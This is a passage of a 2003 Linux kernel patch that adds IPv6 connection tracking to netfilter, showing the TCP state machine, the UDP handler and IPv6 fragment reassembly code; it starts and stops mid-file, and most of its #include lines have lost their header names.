TCP_CONNTRACK_TIME_WAIT, */ + 10 SECS, /* TCP_CONNTRACK_CLOSE, */ + 60 SECS, /* TCP_CONNTRACK_CLOSE_WAIT, */ + 30 SECS, /* TCP_CONNTRACK_LAST_ACK, */ + 2 MINS, /* TCP_CONNTRACK_LISTEN, */ +}; + +#define sNO TCP_CONNTRACK_NONE +#define sES TCP_CONNTRACK_ESTABLISHED +#define sSS TCP_CONNTRACK_SYN_SENT +#define sSR TCP_CONNTRACK_SYN_RECV +#define sFW TCP_CONNTRACK_FIN_WAIT +#define sTW TCP_CONNTRACK_TIME_WAIT +#define sCL TCP_CONNTRACK_CLOSE +#define sCW TCP_CONNTRACK_CLOSE_WAIT +#define sLA TCP_CONNTRACK_LAST_ACK +#define sLI TCP_CONNTRACK_LISTEN +#define sIV TCP_CONNTRACK_MAX + +static enum tcp_conntrack tcp_conntracks[2][5][TCP_CONNTRACK_MAX] = { + { +/* ORIGINAL */ +/* sNO, sES, sSS, sSR, sFW, sTW, sCL, sCW, sLA, sLI */ +/*syn*/ {sSS, sES, sSS, sSR, sSS, sSS, sSS, sSS, sSS, sLI }, +/*fin*/ {sTW, sFW, sSS, sTW, sFW, sTW, sCL, sTW, sLA, sLI }, +/*ack*/ {sES, sES, sSS, sES, sFW, sTW, sCL, sCW, sLA, sES }, +/*rst*/ {sCL, sCL, sSS, sCL, sCL, sTW, sCL, sCL, sCL, sCL }, +/*none*/{sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV } + }, + { +/* REPLY */ +/* sNO, sES, sSS, sSR, sFW, sTW, sCL, sCW, sLA, sLI */ +/*syn*/ {sSR, sES, sSR, sSR, sSR, sSR, sSR, sSR, sSR, sSR }, +/*fin*/ {sCL, sCW, sSS, sTW, sTW, sTW, sCL, sCW, sLA, sLI }, +/*ack*/ {sCL, sES, sSS, sSR, sFW, sTW, sCL, sCW, sCL, sLI }, +/*rst*/ {sCL, sCL, sCL, sCL, sCL, sCL, sCL, sCL, sLA, sLI }, +/*none*/{sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV, sIV } + } +}; + +static int tcp_pkt_to_tuple(const struct sk_buff *skb, + unsigned int dataoff, + struct ip6_conntrack_tuple *tuple) +{ + struct tcphdr hdr; + + /* Actually only need first 8 bytes. */ + if (skb_copy_bits(skb, dataoff, &hdr, 8) != 0) + return 0; + + tuple->src.u.tcp.port = hdr.source; + tuple->dst.u.tcp.port = hdr.dest; + + return 1; +} + +static int tcp_invert_tuple(struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *orig) +{ + tuple->src.u.tcp.port = orig->dst.u.tcp.port; + tuple->dst.u.tcp.port = orig->src.u.tcp.port; + return 1; +} + +/* Print out the per-protocol part of the tuple. */ +static unsigned int tcp_print_tuple(char *buffer, + const struct ip6_conntrack_tuple *tuple) +{ + return sprintf(buffer, "sport=%hu dport=%hu ", + ntohs(tuple->src.u.tcp.port), + ntohs(tuple->dst.u.tcp.port)); +} + +/* Print out the private part of the conntrack. */ +static unsigned int tcp_print_conntrack(char *buffer, + const struct ip6_conntrack *conntrack) +{ + enum tcp_conntrack state; + + READ_LOCK(&tcp_lock); + state = conntrack->proto.tcp.state; + READ_UNLOCK(&tcp_lock); + + return sprintf(buffer, "%s ", tcp_conntrack_names[state]); +} + +static unsigned int get_conntrack_index(const struct tcphdr *tcph) +{ + if (tcph->rst) return 3; + else if (tcph->syn) return 0; + else if (tcph->fin) return 1; + else if (tcph->ack) return 2; + else return 4; +} + +/* Returns verdict for packet, or -1 for invalid. */ +static int tcp_packet(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff, + enum ip6_conntrack_info ctinfo) +{ + enum tcp_conntrack newconntrack, oldtcpstate; + struct tcphdr tcph; + + if (skb_copy_bits(skb, dataoff, &tcph, sizeof(tcph)) != 0) + return -1; + + WRITE_LOCK(&tcp_lock); + oldtcpstate = conntrack->proto.tcp.state; + newconntrack + = tcp_conntracks + [CTINFO2DIR(ctinfo)] + [get_conntrack_index(&tcph)][oldtcpstate]; + + /* Invalid */ + if (newconntrack == TCP_CONNTRACK_MAX) { + DEBUGP("ip6_conntrack_tcp: Invalid dir=%i index=%u conntrack=%u\n", + CTINFO2DIR(ctinfo), get_conntrack_index(&tcph), + conntrack->proto.tcp.state); + WRITE_UNLOCK(&tcp_lock); + return -1; + } + + conntrack->proto.tcp.state = newconntrack; + + /* Poor man's window tracking: record SYN/ACK for handshake check */ + if (oldtcpstate == TCP_CONNTRACK_SYN_SENT + && CTINFO2DIR(ctinfo) == IP6_CT_DIR_REPLY + && tcph.syn && tcph.ack) + conntrack->proto.tcp.handshake_ack + = htonl(ntohl(tcph.seq) + 1); + + /* If only reply is a RST, we can consider ourselves not to + have an established connection: this is a fairly common + problem case, so we can delete the conntrack + immediately. --RR */ + if (!test_bit(IP6S_SEEN_REPLY_BIT, &conntrack->status) && tcph.rst) { + WRITE_UNLOCK(&tcp_lock); + if (del_timer(&conntrack->timeout)) + conntrack->timeout.function((unsigned long)conntrack); + } else { + /* Set ASSURED if we see see valid ack in ESTABLISHED after SYN_RECV */ + if (oldtcpstate == TCP_CONNTRACK_SYN_RECV + && CTINFO2DIR(ctinfo) == IP6_CT_DIR_ORIGINAL + && tcph.ack && !tcph.syn + && tcph.ack_seq == conntrack->proto.tcp.handshake_ack) + set_bit(IP6S_ASSURED_BIT, &conntrack->status); + + WRITE_UNLOCK(&tcp_lock); + ip6_ct_refresh(conntrack, tcp_timeouts[newconntrack]); + } + + return NF_ACCEPT; +} + +/* Called when a new connection for this protocol found. */ +static int tcp_new(struct ip6_conntrack *conntrack, const struct sk_buff *skb, + unsigned int dataoff) +{ + enum tcp_conntrack newconntrack; + struct tcphdr tcph; + + if (skb_copy_bits(skb, dataoff, &tcph, sizeof(tcph)) != 0) + return -1; + + /* Don't need lock here: this conntrack not in circulation yet */ + newconntrack + = tcp_conntracks[0][get_conntrack_index(&tcph)] + [TCP_CONNTRACK_NONE]; + + /* Invalid: delete conntrack */ + if (newconntrack == TCP_CONNTRACK_MAX) { + DEBUGP("ip6_conntrack_tcp: invalid new deleting.\n"); + return 0; + } + + conntrack->proto.tcp.state = newconntrack; + return 1; +} + +static int tcp_exp_matches_pkt(struct ip6_conntrack_expect *exp, + const struct sk_buff *skb, + unsigned int dataoff) +{ + struct tcphdr tcph; + unsigned int datalen; + + if (skb_copy_bits(skb, dataoff, &tcph, sizeof(tcph)) != 0) + return 0; + datalen = skb->len - dataoff; + + return between(exp->seq, ntohl(tcph.seq), ntohl(tcph.seq) + datalen); +} + +struct ip6_conntrack_protocol ip6_conntrack_protocol_tcp += { { NULL, NULL }, IPPROTO_TCP, "tcp", + tcp_pkt_to_tuple, tcp_invert_tuple, tcp_print_tuple, tcp_print_conntrack, + tcp_packet, tcp_new, NULL, tcp_exp_matches_pkt, NULL }; diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_udp.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_udp.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_udp.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_udp.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,95 @@ +/* + * UDP extension for IPv6 Connection Tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_proto_udp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#include +#include +#include +#include +#include +#include + +#define UDP_TIMEOUT (30*HZ) +#define UDP_STREAM_TIMEOUT (180*HZ) + +static int udp_pkt_to_tuple(const struct sk_buff *skb, + unsigned int dataoff, + struct ip6_conntrack_tuple *tuple) +{ + struct udphdr hdr; + + /* Actually only need first 8 bytes. */ + if (skb_copy_bits(skb, dataoff, &hdr, 8) != 0) + return 0; + + tuple->src.u.udp.port = hdr.source; + tuple->dst.u.udp.port = hdr.dest; + + return 1; +} + +static int udp_invert_tuple(struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *orig) +{ + tuple->src.u.udp.port = orig->dst.u.udp.port; + tuple->dst.u.udp.port = orig->src.u.udp.port; + return 1; +} + +/* Print out the per-protocol part of the tuple. */ +static unsigned int udp_print_tuple(char *buffer, + const struct ip6_conntrack_tuple *tuple) +{ + return sprintf(buffer, "sport=%hu dport=%hu ", + ntohs(tuple->src.u.udp.port), + ntohs(tuple->dst.u.udp.port)); +} + +/* Print out the private part of the conntrack. */ +static unsigned int udp_print_conntrack(char *buffer, + const struct ip6_conntrack *conntrack) +{ + return 0; +} + +/* Returns verdict for packet, and may modify conntracktype */ +static int udp_packet(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff, + enum ip6_conntrack_info conntrackinfo) +{ + /* If we've seen traffic both ways, this is some kind of UDP + stream. Extend timeout. */ + if (test_bit(IP6S_SEEN_REPLY_BIT, &conntrack->status)) { + ip6_ct_refresh(conntrack, UDP_STREAM_TIMEOUT); + /* Also, more likely to be important, and not a probe */ + set_bit(IP6S_ASSURED_BIT, &conntrack->status); + } else + ip6_ct_refresh(conntrack, UDP_TIMEOUT); + + return NF_ACCEPT; +} + +/* Called when a new connection for this protocol found. */ +static int udp_new(struct ip6_conntrack *conntrack, const struct sk_buff *skb, + unsigned int dataoff) +{ + return 1; +} + +struct ip6_conntrack_protocol ip6_conntrack_protocol_udp += { { NULL, NULL }, IPPROTO_UDP, "udp", + udp_pkt_to_tuple, udp_invert_tuple, udp_print_tuple, udp_print_conntrack, + udp_packet, udp_new, NULL, NULL, NULL }; diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_reasm.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_reasm.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_reasm.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_reasm.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,989 @@ +/* + * IPv6 fragment reassembly for connection tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv6/reassembly.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +#define IP6CT_FRAGS_HIGH_THRESH 262144 /* == 256*1024 */ +#define IP6CT_FRAGS_LOW_THRESH 196608 /* == 192*1024 */ +#define IP6CT_FRAGS_TIMEOUT IPV6_FRAG_TIMEOUT + +static int sysctl_ip6_ct_frag_high_thresh = 256*1024; +static int sysctl_ip6_ct_frag_low_thresh = 192*1024; +static int sysctl_ip6_ct_frag_time = IPV6_FRAG_TIMEOUT; + +struct ip6ct_frag_skb_cb +{ + struct inet6_skb_parm h; + int offset; + struct sk_buff *orig; +}; + +#define IP6CT_FRAG6_CB(skb) ((struct ip6ct_frag_skb_cb*)((skb)->cb)) + + +/* + * Equivalent of ipv4 struct ipq + */ + +struct ip6ct_frag_queue +{ + struct ip6ct_frag_queue *next; + struct list_head lru_list; /* lru list member */ + + __u32 id; /* fragment id */ + struct in6_addr saddr; + struct in6_addr daddr; + + spinlock_t lock; + atomic_t refcnt; + struct timer_list timer; /* expire timer */ + struct sk_buff *fragments; + int len; + int meat; + struct timeval stamp; + unsigned int csum; + __u8 last_in; /* has first/last segment arrived? */ +#define COMPLETE 4 +#define FIRST_IN 2 +#define LAST_IN 1 + __u16 nhoffset; + struct ip6ct_frag_queue **pprev; +}; + +/* Hash table. */ + +#define IP6CT_Q_HASHSZ 64 + +static struct ip6ct_frag_queue *ip6_ct_frag_hash[IP6CT_Q_HASHSZ]; +static rwlock_t ip6_ct_frag_lock = RW_LOCK_UNLOCKED; +static u32 ip6_ct_frag_hash_rnd; +static LIST_HEAD(ip6_ct_frag_lru_list); +int ip6_ct_frag_nqueues = 0; + +static __inline__ void __fq_unlink(struct ip6ct_frag_queue *fq) +{ + if(fq->next) + fq->next->pprev = fq->pprev; + *fq->pprev = fq->next; + list_del(&fq->lru_list); + ip6_ct_frag_nqueues--; +} + +static __inline__ void fq_unlink(struct ip6ct_frag_queue *fq) +{ + write_lock(&ip6_ct_frag_lock); + __fq_unlink(fq); + write_unlock(&ip6_ct_frag_lock); +} + +static unsigned int ip6qhashfn(u32 id, struct in6_addr *saddr, + struct in6_addr *daddr) +{ + u32 a, b, c; + + a = saddr->s6_addr32[0]; + b = saddr->s6_addr32[1]; + c = saddr->s6_addr32[2]; + + a += JHASH_GOLDEN_RATIO; + b += JHASH_GOLDEN_RATIO; + c += ip6_ct_frag_hash_rnd; + __jhash_mix(a, b, c); + + a += saddr->s6_addr32[3]; + b += daddr->s6_addr32[0]; + c += daddr->s6_addr32[1]; + __jhash_mix(a, b, c); + + a += daddr->s6_addr32[2]; + b += daddr->s6_addr32[3]; + c += id; + __jhash_mix(a, b, c); + + return c & (IP6CT_Q_HASHSZ - 1); +} + +static struct timer_list ip6_ct_frag_secret_timer; +int sysctl_ip6_ct_frag_secret_interval = 10 * 60 * HZ; + +static void ip6_ct_frag_secret_rebuild(unsigned long dummy) +{ + unsigned long now = jiffies; + int i; + + write_lock(&ip6_ct_frag_lock); + get_random_bytes(&ip6_ct_frag_hash_rnd, sizeof(u32)); + for (i = 0; i < IP6CT_Q_HASHSZ; i++) { + struct ip6ct_frag_queue *q; + + q = ip6_ct_frag_hash[i]; + while (q) { + struct ip6ct_frag_queue *next = q->next; + unsigned int hval = ip6qhashfn(q->id, + &q->saddr, + &q->daddr); + + if (hval != i) { + /* Unlink. */ + if (q->next) + q->next->pprev = q->pprev; + *q->pprev = q->next; + + /* Relink to new hash chain. */ + if ((q->next = ip6_ct_frag_hash[hval]) != NULL) + q->next->pprev = &q->next; + ip6_ct_frag_hash[hval] = q; + q->pprev = &ip6_ct_frag_hash[hval]; + } + + q = next; + } + } + write_unlock(&ip6_ct_frag_lock); + + mod_timer(&ip6_ct_frag_secret_timer, now + sysctl_ip6_ct_frag_secret_interval); +} + +atomic_t ip6_ct_frag_mem = ATOMIC_INIT(0); + +/* Memory Tracking Functions. */ +static inline void frag_kfree_skb(struct sk_buff *skb) +{ + atomic_sub(skb->truesize, &ip6_ct_frag_mem); + if (IP6CT_FRAG6_CB(skb)->orig) + kfree_skb(IP6CT_FRAG6_CB(skb)->orig); + + kfree_skb(skb); +} + +static inline void frag_free_queue(struct ip6ct_frag_queue *fq) +{ + atomic_sub(sizeof(struct ip6ct_frag_queue), &ip6_ct_frag_mem); + kfree(fq); +} + +static inline struct ip6ct_frag_queue *frag_alloc_queue(void) +{ + struct ip6ct_frag_queue *fq = kmalloc(sizeof(struct ip6ct_frag_queue), GFP_ATOMIC); + + if(!fq) + return NULL; + atomic_add(sizeof(struct ip6ct_frag_queue), &ip6_ct_frag_mem); + return fq; +} + +/* Destruction primitives. */ + +/* Complete destruction of fq. */ +static void ip6_ct_frag_destroy(struct ip6ct_frag_queue *fq) +{ + struct sk_buff *fp; + + BUG_TRAP(fq->last_in&COMPLETE); + BUG_TRAP(del_timer(&fq->timer) == 0); + + /* Release all fragment data. */ + fp = fq->fragments; + while (fp) { + struct sk_buff *xp = fp->next; + + frag_kfree_skb(fp); + fp = xp; + } + + frag_free_queue(fq); +} + +static __inline__ void fq_put(struct ip6ct_frag_queue *fq) +{ + if (atomic_dec_and_test(&fq->refcnt)) + ip6_ct_frag_destroy(fq); +} + +/* Kill fq entry. It is not destroyed immediately, + * because caller (and someone more) holds reference count. + */ +static __inline__ void fq_kill(struct ip6ct_frag_queue *fq) +{ + if (del_timer(&fq->timer)) + atomic_dec(&fq->refcnt); + + if (!(fq->last_in & COMPLETE)) { + fq_unlink(fq); + atomic_dec(&fq->refcnt); + fq->last_in |= COMPLETE; + } +} + +static void ip6_ct_frag_evictor(void) +{ + struct ip6ct_frag_queue *fq; + struct list_head *tmp; + + for(;;) { + if (atomic_read(&ip6_ct_frag_mem) <= sysctl_ip6_ct_frag_low_thresh) + return; + read_lock(&ip6_ct_frag_lock); + if (list_empty(&ip6_ct_frag_lru_list)) { + read_unlock(&ip6_ct_frag_lock); + return; + } + tmp = ip6_ct_frag_lru_list.next; + fq = list_entry(tmp, struct ip6ct_frag_queue, lru_list); + atomic_inc(&fq->refcnt); + read_unlock(&ip6_ct_frag_lock); + + spin_lock(&fq->lock); + if (!(fq->last_in&COMPLETE)) + fq_kill(fq); + spin_unlock(&fq->lock); + + fq_put(fq); + } +} + +static void ip6_ct_frag_expire(unsigned long data) +{ + struct ip6ct_frag_queue *fq = (struct ip6ct_frag_queue *) data; + + spin_lock(&fq->lock); + + if (fq->last_in & COMPLETE) + goto out; + + fq_kill(fq); + +out: + spin_unlock(&fq->lock); + fq_put(fq); +} + +/* Creation primitives. */ + + +static struct ip6ct_frag_queue *ip6_ct_frag_intern(unsigned int hash, + struct ip6ct_frag_queue *fq_in) +{ + struct ip6ct_frag_queue *fq; + + write_lock(&ip6_ct_frag_lock); +#ifdef CONFIG_SMP + for (fq = ip6_ct_frag_hash[hash]; fq; fq = fq->next) { + if (fq->id == fq_in->id && + !ipv6_addr_cmp(&fq_in->saddr, &fq->saddr) && + !ipv6_addr_cmp(&fq_in->daddr, &fq->daddr)) { + atomic_inc(&fq->refcnt); + write_unlock(&ip6_ct_frag_lock); + fq_in->last_in |= COMPLETE; + fq_put(fq_in); + return fq; + } + } +#endif + fq = fq_in; + + if (!mod_timer(&fq->timer, jiffies + sysctl_ip6_ct_frag_time)) + atomic_inc(&fq->refcnt); + + atomic_inc(&fq->refcnt); + if((fq->next = ip6_ct_frag_hash[hash]) != NULL) + fq->next->pprev = &fq->next; + ip6_ct_frag_hash[hash] = fq; + fq->pprev = &ip6_ct_frag_hash[hash]; + INIT_LIST_HEAD(&fq->lru_list); + list_add_tail(&fq->lru_list, &ip6_ct_frag_lru_list); + ip6_ct_frag_nqueues++; + write_unlock(&ip6_ct_frag_lock); + return fq; +} + + +static struct ip6ct_frag_queue * +ip6_ct_frag_create(unsigned int hash, u32 id, struct in6_addr *src, struct in6_addr *dst) +{ + struct ip6ct_frag_queue *fq; + + if ((fq = frag_alloc_queue()) == NULL) { + DEBUGP("Can't alloc new queue\n"); + goto oom; + } + + memset(fq, 0, sizeof(struct ip6ct_frag_queue)); + + fq->id = id; + ipv6_addr_copy(&fq->saddr, src); + ipv6_addr_copy(&fq->daddr, dst); + + init_timer(&fq->timer); + fq->timer.function = ip6_ct_frag_expire; + fq->timer.data = (long) fq; + fq->lock = SPIN_LOCK_UNLOCKED; + atomic_set(&fq->refcnt, 1); + + return ip6_ct_frag_intern(hash, fq); + +oom: + return NULL; +} + +static __inline__ struct ip6ct_frag_queue * +fq_find(u32 id, struct in6_addr *src, struct in6_addr *dst) +{ + struct ip6ct_frag_queue *fq; + unsigned int hash = ip6qhashfn(id, src, dst); + + read_lock(&ip6_ct_frag_lock); + for(fq = ip6_ct_frag_hash[hash]; fq; fq = fq->next) { + if (fq->id == id && + !ipv6_addr_cmp(src, &fq->saddr) && + !ipv6_addr_cmp(dst, &fq->daddr)) { + atomic_inc(&fq->refcnt); + read_unlock(&ip6_ct_frag_lock); + return fq; + } + } + read_unlock(&ip6_ct_frag_lock); + + return ip6_ct_frag_create(hash, id, src, dst); +} + + +static int ip6_ct_frag_queue(struct ip6ct_frag_queue *fq, struct sk_buff *skb, + struct frag_hdr *fhdr, int nhoff) +{ + struct sk_buff *prev, *next; + int offset, end; + + if (fq->last_in & COMPLETE) { + DEBUGP("Allready completed\n"); + goto err; + } + + offset = ntohs(fhdr->frag_off) & ~0x7; + end = offset + (ntohs(skb->nh.ipv6h->payload_len) - + ((u8 *) (fhdr + 1) - (u8 *) (skb->nh.ipv6h + 1))); + + if ((unsigned int)end > IPV6_MAXPLEN) { + DEBUGP("offset is too large.\n"); + return -1; + } + + if (skb->ip_summed == CHECKSUM_HW) + skb->csum = csum_sub(skb->csum, + csum_partial(skb->nh.raw, (u8*)(fhdr+1)-skb->nh.raw, 0)); + + /* Is this the final fragment? */ + if (!(fhdr->frag_off & htons(IP6_MF))) { + /* If we already have some bits beyond end + * or have different end, the segment is corrupted. + */ + if (end < fq->len || + ((fq->last_in & LAST_IN) && end != fq->len)) { + DEBUGP("already received last fragment\n"); + goto err; + } + fq->last_in |= LAST_IN; + fq->len = end; + } else { + /* Check if the fragment is rounded to 8 bytes. + * Required by the RFC. + */ + if (end & 0x7) { + /* RFC2460 says always send parameter problem in + * this case. -DaveM + */ + DEBUGP("the end of this message is not rounded to 8 bytes.\n"); + return -1; + } + if (end > fq->len) { + /* Some bits beyond end -> corruption. */ + if (fq->last_in & LAST_IN) { + DEBUGP("last packet already reached.\n"); + goto err; + } + fq->len = end; + } + } + + if (end == offset) + goto err; + + /* Point into the IP datagram 'data' part. */ + if (!pskb_pull(skb, (u8 *) (fhdr + 1) - skb->data)) { + DEBUGP("queue: message is too short.\n"); + goto err; + } + if (end-offset < skb->len) { + if (pskb_trim(skb, end - offset)) { + DEBUGP("Can't trim\n"); + goto err; + } + if (skb->ip_summed != CHECKSUM_UNNECESSARY) + skb->ip_summed = CHECKSUM_NONE; + } + + /* Find out which fragments are in front and at the back of us + * in the chain of fragments so far. We must know where to put + * this fragment, right? + */ + prev = NULL; + for(next = fq->fragments; next != NULL; next = next->next) { + if (IP6CT_FRAG6_CB(next)->offset >= offset) + break; /* bingo! */ + prev = next; + } + + /* We found where to put this one. Check for overlap with + * preceding fragment, and, if needed, align things so that + * any overlaps are eliminated. + */ + if (prev) { + int i = (IP6CT_FRAG6_CB(prev)->offset + prev->len) - offset; + + if (i > 0) { + offset += i; + if (end <= offset) { + DEBUGP("overlap\n"); + goto err; + } + if (!pskb_pull(skb, i)) { + DEBUGP("Can't pull\n"); + goto err; + } + if (skb->ip_summed != CHECKSUM_UNNECESSARY) + skb->ip_summed = CHECKSUM_NONE; + } + } + + /* Look for overlap with succeeding segments. + * If we can merge fragments, do it. + */ + while (next && IP6CT_FRAG6_CB(next)->offset < end) { + int i = end - IP6CT_FRAG6_CB(next)->offset; /* overlap is 'i' bytes */ + + if (i < next->len) { + /* Eat head of the next overlapped fragment + * and leave the loop. The next ones cannot overlap. + */ + DEBUGP("Eat head of the overlapped parts.: %d", i); + if (!pskb_pull(next, i)) + goto err; + IP6CT_FRAG6_CB(next)->offset += i; /* next fragment */ + fq->meat -= i; + if (next->ip_summed != CHECKSUM_UNNECESSARY) + next->ip_summed = CHECKSUM_NONE; + break; + } else { + struct sk_buff *free_it = next; + + /* Old fragmnet is completely overridden with + * new one drop it. + */ + next = next->next; + + if (prev) + prev->next = next; + else + fq->fragments = next; + + fq->meat -= free_it->len; + frag_kfree_skb(free_it); + } + } + + IP6CT_FRAG6_CB(skb)->offset = offset; + + /* Insert this fragment in the chain of fragments. */ + skb->next = next; + if (prev) + prev->next = skb; + else + fq->fragments = skb; + + skb->dev = NULL; + fq->stamp = skb->stamp; + fq->meat += skb->len; + atomic_add(skb->truesize, &ip6_ct_frag_mem); + + /* The first fragment. + * nhoffset is obtained from the first fragment, of course. + */ + if (offset == 0) { + fq->nhoffset = nhoff; + fq->last_in |= FIRST_IN; + } + write_lock(&ip6_ct_frag_lock); + list_move_tail(&fq->lru_list, &ip6_ct_frag_lru_list); + write_unlock(&ip6_ct_frag_lock); + return 0; + +err: + return -1; +} + +/* + * Check if this packet is complete. + * Returns NULL on failure by any reason, and pointer + * to current nexthdr field in reassembled frame. + * + * It is called with locked fq, and caller must check that + * queue is eligible for reassembly i.e. it is not COMPLETE, + * the last and the first frames arrived and all the bits are here. + */ +static struct sk_buff * +ip6_ct_frag_reasm(struct ip6ct_frag_queue *fq, struct net_device *dev) +{ + struct sk_buff *fp, *op, *head = fq->fragments; + int payload_len; + + fq_kill(fq); + + BUG_TRAP(head != NULL); + BUG_TRAP(IP6CT_FRAG6_CB(head)->offset == 0); + + /* Unfragmented part is taken from the first segment. */ + payload_len = (head->data - head->nh.raw) - sizeof(struct ipv6hdr) + fq->len - sizeof(struct frag_hdr); + if (payload_len > IPV6_MAXPLEN) { + DEBUGP("payload len is too large.\n"); + goto out_oversize; + } + + /* Head of list must not be cloned. */ + if (skb_cloned(head) && pskb_expand_head(head, 0, 0, GFP_ATOMIC)) { + DEBUGP("skb is cloned but can't expand head"); + goto out_oom; + } + + /* If the first fragment is fragmented itself, we split + * it to two chunks: the first with data and paged part + * and the second, holding only fragments. */ + if (skb_shinfo(head)->frag_list) { + struct sk_buff *clone; + int i, plen = 0; + + if ((clone = alloc_skb(0, GFP_ATOMIC)) == NULL) { + DEBUGP("Can't alloc skb\n"); + goto out_oom; + } + clone->next = head->next; + head->next = clone; + skb_shinfo(clone)->frag_list = skb_shinfo(head)->frag_list; + skb_shinfo(head)->frag_list = NULL; + for (i=0; inr_frags; i++) + plen += skb_shinfo(head)->frags[i].size; + clone->len = clone->data_len = head->data_len - plen; + head->data_len -= clone->len; + head->len -= clone->len; + clone->csum = 0; + clone->ip_summed = head->ip_summed; + + IP6CT_FRAG6_CB(clone)->orig = NULL; + atomic_add(clone->truesize, &ip6_ct_frag_mem); + } + + /* We have to remove fragment header from datagram and to relocate + * header in order to calculate ICV correctly. */ + head->nh.raw[fq->nhoffset] = head->h.raw[0]; + memmove(head->head + sizeof(struct frag_hdr), head->head, + (head->data - head->head) - sizeof(struct frag_hdr)); + head->mac.raw += sizeof(struct frag_hdr); + head->nh.raw += sizeof(struct frag_hdr); + + skb_shinfo(head)->frag_list = head->next; + head->h.raw = head->data; + skb_push(head, head->data - head->nh.raw); + atomic_sub(head->truesize, &ip6_ct_frag_mem); + + for (fp=head->next; fp; fp = fp->next) { + head->data_len += fp->len; + head->len += fp->len; + if (head->ip_summed != fp->ip_summed) + head->ip_summed = CHECKSUM_NONE; + else if (head->ip_summed == CHECKSUM_HW) + head->csum = csum_add(head->csum, fp->csum); + head->truesize += fp->truesize; + atomic_sub(fp->truesize, &ip6_ct_frag_mem); + } + + head->next = NULL; + head->dev = dev; + head->stamp = fq->stamp; + head->nh.ipv6h->payload_len = ntohs(payload_len); + + /* Yes, and fold redundant checksum back. 8) */ + if (head->ip_summed == CHECKSUM_HW) + head->csum = csum_partial(head->nh.raw, head->h.raw-head->nh.raw, head->csum); + + fq->fragments = NULL; + + /* all original skbs are linked into the IP6CT_FRAG6_CB(head).orig */ + fp = skb_shinfo(head)->frag_list; + if (IP6CT_FRAG6_CB(fp)->orig == NULL) + /* at above code, head skb is divided into two skbs. */ + fp = fp->next; + + op = IP6CT_FRAG6_CB(head)->orig; + for (; fp; fp = fp->next) { + struct sk_buff *orig = IP6CT_FRAG6_CB(fp)->orig; + + op->next = orig; + op = orig; + IP6CT_FRAG6_CB(fp)->orig = NULL; + } + + return head; + +out_oversize: + if (net_ratelimit()) + printk(KERN_DEBUG "ip6_ct_frag_reasm: payload len = %d\n", payload_len); + goto out_fail; +out_oom: + if (net_ratelimit()) + printk(KERN_DEBUG "ip6_ct_frag_reasm: no memory for reassembly\n"); +out_fail: + return NULL; +} + +/* + * find the header just before Fragment Header. + * + * if success return 0 and set ... + * (*prevhdrp): the value of "Next Header Field" in the header + * just before Fragment Header. + * (*prevhoff): the offset of "Next Header Field" in the header + * just before Fragment Header. + * (*fhoff) : the offset of Fragment Header. + * + * Based on ipv6_skip_hdr() in net/ipv6/exthdr.c + * + */ +static int +find_prev_fhdr(struct sk_buff *skb, u8 *prevhdrp, int *prevhoff, int *fhoff) +{ + u8 nexthdr = skb->nh.ipv6h->nexthdr; + u8 prev_nhoff = (u8 *)&skb->nh.ipv6h->nexthdr - skb->data; + int start = (u8 *)(skb->nh.ipv6h+1) - skb->data; + int len = skb->len - start; + u8 prevhdr = NEXTHDR_IPV6; + + while (nexthdr != NEXTHDR_FRAGMENT) { + struct ipv6_opt_hdr hdr; + int hdrlen; + + if (!ipv6_ext_hdr(nexthdr)) { + return -1; + } + if (len < (int)sizeof(struct ipv6_opt_hdr)) { + DEBUGP("too short\n"); + return -1; + } + if (nexthdr == NEXTHDR_NONE) { + DEBUGP("next header is none\n"); + return -1; + } + if (skb_copy_bits(skb, start, &hdr, sizeof(hdr))) + BUG(); + if (nexthdr == NEXTHDR_AUTH) + hdrlen = (hdr.hdrlen+2)<<2; + else + hdrlen = ipv6_optlen(&hdr); + + prevhdr = nexthdr; + prev_nhoff = start; + + nexthdr = hdr.nexthdr; + len -= hdrlen; + start += hdrlen; + } + + if (len < 0) + return -1; + + *prevhdrp = prevhdr; + *prevhoff = prev_nhoff; + *fhoff = start; + + return 0; +} + +struct sk_buff *ip6_ct_gather_frags(struct sk_buff *skb) +{ + struct sk_buff *clone; + struct net_device *dev = skb->dev; + struct frag_hdr *fhdr; + struct ip6ct_frag_queue *fq; + struct ipv6hdr *hdr; + int fhoff, nhoff; + u8 prevhdr; + struct sk_buff *ret_skb = NULL; + + /* Jumbo payload inhibits frag. header */ + if (skb->nh.ipv6h->payload_len == 0) { + DEBUGP("payload len = 0\n"); + return skb; + } + + if (find_prev_fhdr(skb, &prevhdr, &nhoff, &fhoff) < 